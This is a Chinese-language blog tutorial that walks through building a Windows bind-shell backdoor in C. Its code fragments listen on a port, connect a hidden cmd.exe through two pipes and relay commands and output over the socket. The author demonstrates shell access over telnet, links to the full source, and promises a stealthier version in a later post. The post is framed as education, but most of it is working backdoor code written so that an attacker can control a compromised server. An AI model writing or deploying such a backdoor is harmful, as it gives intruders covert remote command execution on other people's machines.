后門編程(1)之雙管道主動連接型


  長時間不寫博客就是容易懶,今天10月最后一天,寫篇博客來結個尾。今天寫的是關於如何編寫windows后門程序,主要是涉及的技術是socket通信和管道。后門分為主動連接型和反向連接型,而根據使用的管道數又可以細分為雙管道,單管道和零管道。今天講的是雙管道主動連接型后門的編寫。

一.原理講解 

  1.1 主動連接型指的是后門程序作為服務端,換句話說被攻擊者的服務器作為服務端,攻擊者(黑客)作為客戶端主動去連接后門程序,執行一系列的shell操作。服務器不一定是放在外網中,其實在內網中也是可以的。

 

 

從上圖中可以看到后門程序需要監聽指定端口,並可以接收外部的連接,這就涉及了socket服務端程序的編寫,在windows上編寫的步驟為:

  1. 初始化socket
  2. 創建TCP類型的socket
  3. 綁定指定端口,開始監聽並接收連接

部分代碼如下:

 1     //初始化socket
 2     if (!SockInit()) return FALSE;
 3     //創建socket
 4     SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 5     if (serverSocket == INVALID_SOCKET) return FALSE;
 6     //綁定指定端口
 7     sockaddr_in sServer = { 0 };
 8     sServer.sin_family = AF_INET;
 9     sServer.sin_addr.s_addr = htonl(INADDR_ANY);
10     sServer.sin_port = htons(port);
11     if (bind(serverSocket,(sockaddr*) &sServer, sizeof(sServer)) == SOCKET_ERROR)
12     {
13         return FALSE;
14     }
15     //開始監聽,並且接受連接
16     if (listen(serverSocket, 5) == SOCKET_ERROR)
17     {
18         return FALSE;
19     }
20 
21     SOCKET cSocket = accept(serverSocket, NULL, NULL);

  1.2 后門程序不僅需要接收外部的連接,還需要進行本地的shell操作,這樣黑客在自己的電腦上就可以遠程操作服務器的shell。這就涉及到進程間通信,采用的是管道技術。下面我把工作流程進行進一步細化,由於管道是單向的,因此這次使用雙管道分別進行讀操作和寫操作。

大家可能奇怪為什么有兩個管道,卻只有一個socket,因為socket傳輸是雙向的。上圖的工作流程是這樣的,首先黑客通過網絡遠程連接到后門程序,后門程序接收到socket傳過來的指令,並通過讀管道傳給cmd.exe進程,進行操作,並把操作的結果通過寫管道傳給socket,最終傳回黑客電腦。后門程序和cmd.exe建立管道通信的代碼如下:

 1     //開始創建管道,管道是單向的,所以創建兩個管道,
 2     //一個負責讀一個負責寫
 3     
 4     HANDLE hReadPipe1, hWritePipe1;//管道1 的讀寫
 5     HANDLE hReadPipe2, hWritePipe2;//管道2的讀寫
 6 
 7     SECURITY_ATTRIBUTES sa = { 0 };
 8     sa.nLength = sizeof(SECURITY_ATTRIBUTES);
 9     sa.lpSecurityDescriptor = NULL;
10     sa.bInheritHandle = TRUE;
11 
12     if (!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) ||
13         !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0))
14         return FALSE;
15     //啟動cmd.exe,並建立與它的管道通信
16     //首先配置啟動參數
17     STARTUPINFO si = {0};
18     GetStartupInfo(&si);
19     si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
20     //cmd的標准輸入連接到管道1的讀取端
21     si.hStdInput = hReadPipe1;
22     //cmd的標准輸出連接到管道2的寫入端
23     si.hStdOutput = si.hStdError = hWritePipe2;
24     //將窗口設置為隱藏
25     si.wShowWindow = SW_HIDE;
26     //獲取cmd.exe的系統路徑
27     TCHAR tCmdPath[MAX_PATH] = { 0 };
28     GetSystemDirectory(tCmdPath, MAX_PATH);//獲取系統路徑
29     lstrcat(tCmdPath, TEXT("\\cmd.exe"));
30     //wcscat_s(tCmdPath, MAX_PATH, TEXT("\\cmd.exe"));
31     //開始創建cmd進程
32     PROCESS_INFORMATION pi = { 0 };
33     if (!CreateProcess(tCmdPath,
34         NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
35         return FALSE;

  1.3.為了方便操作,我在后門程序中開啟了兩個線程,分別處理socket和管道的讀寫操作,部分代碼如下:

 1     //下面開始啟動兩個線程,一個是讀線程,從socket讀取數據寫入管道1,一個是寫線程,從管道2讀取數據,寫到socket
 2     ComNode mReadNode, mWriteNode;
 3     mReadNode.socket = mWriteNode.socket = cSocket;
 4     mReadNode.pipe = hWritePipe1;
 5     mWriteNode.pipe = hReadPipe2;
 6     //接下來啟動線程,並將兩個通信節點作為參數傳到線程處理函數中
 7     DWORD dwThreadOutput=0, dwThreadInput=0;
 8     HANDLE hThreadInput = CreateThread(NULL, 0, ThreadInput, &mReadNode, 0, &dwThreadInput);
 9     HANDLE hThreadOutput = CreateThread(NULL, 0, ThreadOutput, &mWriteNode, 0, &dwThreadOutput);
10     
11 
12     HANDLE szHandles[] = { hThreadOutput ,hThreadInput };
13     //同步線程
14     WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);

  1.4最后看一下運行效果,首先我們在本地啟動后門程序,監聽8009端口,然后在本地使用telnet連接后門程序,模擬黑客攻擊的過程,當然你完全可以將后門程序放到公網中,這里只是方便演示。

這就是我們在E盤生成的后門程序,大家肯定會想,如果去掉這個黑窗口,不然不夠隱蔽,大家先百度,很簡單,在下一篇后門編程(2)我會講一下。接着我在本地啟動一個cmd.exe,也就是黑客端,不要和后門程序中啟動的cmd.exe弄混了。在其中輸入telnet命令,連接后門程序。下圖是連接后門之前的cmd.exe的情況。

 

 我們輸入telnet 127.0.0.1 8009 后,開始發生變化。

 

路徑切換到后門所在的地方了,我們也就是說我們可以在本機遠程操作服務器上的shell了,執行dir命令,查看服務器上的文件。

 

完整的代碼我放到 https://github.com/qiyeboy/LuLunZi 中的BackDoor文件夾中。

 

二.再續

  我新書《Python爬蟲開發與項目實戰》出版了。 這本書包括基礎篇,中級篇和深入篇三個部分,不僅適合零基礎的朋友入門,也適合有一定基礎的爬蟲愛好者進階,如果你不會分布式爬蟲,不會千萬級數據的去重,不會怎么突破反爬蟲,不會分析js的加密,這本書會給你驚喜。如果大家對這本書感興趣的話,可以看一下 試讀樣章

歡迎大家光顧我公眾號:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM